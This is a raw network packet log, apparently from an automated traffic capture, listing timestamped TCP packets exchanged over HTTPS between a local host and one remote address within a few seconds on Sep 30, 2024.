Sep 30, 2024 18:58:37.739589930 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739623070 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.739630938 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739641905 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.739702940 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.740861893 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.740931034 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.741043091 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.741108894 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.741113901 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.782085896 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.811486006 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.811496019 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.811534882 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.811557055 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.811575890 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.811587095 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.811604023 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.811652899 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.811652899 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.811661005 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812088966 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812150002 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.812155962 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812211990 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.812223911 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812269926 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.812293053 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812325954 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812344074 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.812356949 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.812575102 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.812943935 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.813019991 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.824460030 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.824513912 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.933382034 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.933536053 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.933551073 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.933605909 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.933630943 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.933708906 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.933731079 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.933738947 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.933758974 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.933779955 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.934492111 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.934580088 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.934586048 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.934633970 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.934644938 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.934648037 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.934691906 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.935240030 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.935302973 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.935306072 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.935314894 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.935379028 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.063450098 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.063522100 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.063551903 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.063560963 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.063613892 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.063776970 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.063847065 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.063853025 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.063951969 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.063983917 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.064060926 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.064388990 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.064459085 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.064831972 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.064930916 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.064954042 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.064959049 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.065061092 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.110366106 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.110387087 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.157087088 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365487099 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365542889 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365566015 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365575075 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365592003 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365606070 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365650892 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365650892 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365655899 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365832090 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365873098 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.365878105 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.365967035 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366029978 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366075993 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366101980 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366106033 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366112947 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366125107 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366139889 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366183043 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366183043 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366188049 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366472006 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.366679907 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.366683960 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.367620945 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.367641926 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.367681980 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.367686987 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.367723942 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.367856026 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.372261047 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.372317076 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.482882977 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.482923985 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.483000040 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.483005047 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.483026981 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.483048916 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.498910904 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.498985052 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.499042988 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.499042988 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.499047995 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.499598026 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.499686003 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.499691010 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.499820948 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.603507996 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603533030 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603588104 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.603600025 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603874922 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603890896 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603910923 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.603918076 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.603931904 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.603948116 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.603984118 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.689389944 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.689479113 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.689488888 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.734487057 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.745995045 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.746041059 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.746117115 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.746117115 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.746123075 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.746923923 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.746942997 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.746984005 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.746989012 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.747018099 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.747087955 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.788671017 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.788712025 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.788758039 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.788762093 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.788808107 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.788808107 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.885757923 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.885781050 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.885833025 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.885848045 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.885890007 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.885963917 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.886806011 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.886945963 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.886957884 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.887042999 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.923727989 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.923810959 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:38.970740080 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:38.970829964 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.021073103 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.021095991 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.021177053 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.021186113 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.021318913 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.055871964 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.055919886 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.055953979 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.055968046 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.056018114 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.144812107 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.144838095 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.144913912 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.144926071 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.144959927 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.144959927 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.145515919 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.145533085 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.145593882 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.145637035 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.145637035 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.145644903 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.181988955 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.182063103 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.182075977 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.182341099 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.262923002 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.263003111 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.263611078 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.263633013 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.263717890 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.263726950 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.264297009 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.264374018 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.264380932 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.264455080 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.268063068 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.268304110 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.299741030 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.299804926 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.299825907 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.299840927 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.299875975 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.344259024 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.383641005 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.383738995 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.388864994 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.388883114 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.388947964 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.388961077 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.388967037 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.388972998 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.389008045 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.389044046 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.421343088 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.421449900 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.465538025 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.465605021 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.501913071 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.501950979 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.502012014 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.502018929 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.502089024 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.504271030 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.504288912 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.504343033 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.504360914 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.504451036 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.538825989 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.538932085 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.627044916 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.627099991 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.627116919 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.627123117 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.627182007 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.628559113 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.628581047 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.628674984 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.628684998 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629370928 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629393101 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629439116 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.629447937 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629457951 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629487038 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.629493952 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629512072 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.629515886 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.629543066 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.629581928 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.660412073 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.660499096 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.742830992 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.742856026 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.742923021 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.742937088 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.743001938 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.750274897 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.750349045 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.750355959 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.775903940 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.776001930 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.776011944 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.776279926 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.858251095 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.858279943 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.858416080 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.858416080 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.858427048 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.858477116 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.858767986 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.858805895 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.858834982 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.858839989 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.859164953 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.906285048 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.906392097 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.945162058 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.945241928 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.982954025 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.982981920 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.983084917 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.983084917 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.983095884 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.985905886 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.994244099 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:39.994383097 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:39.994390965 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.021948099 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.022056103 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.022066116 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.062953949 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.111762047 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.111790895 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.111886978 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.111898899 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.111937046 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.112010002 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.112135887 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.112152100 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.112215996 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.112221956 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.112243891 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.112261057 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.112303972 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.112365007 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.147038937 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.147217035 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.238214016 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.238286018 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.239353895 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.239372969 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.239408970 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.239434958 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.239449978 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.239470959 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.240230083 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:40.240304947 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:40.240314960 CEST	443	49721	188.114.97.3	192.168.2.7
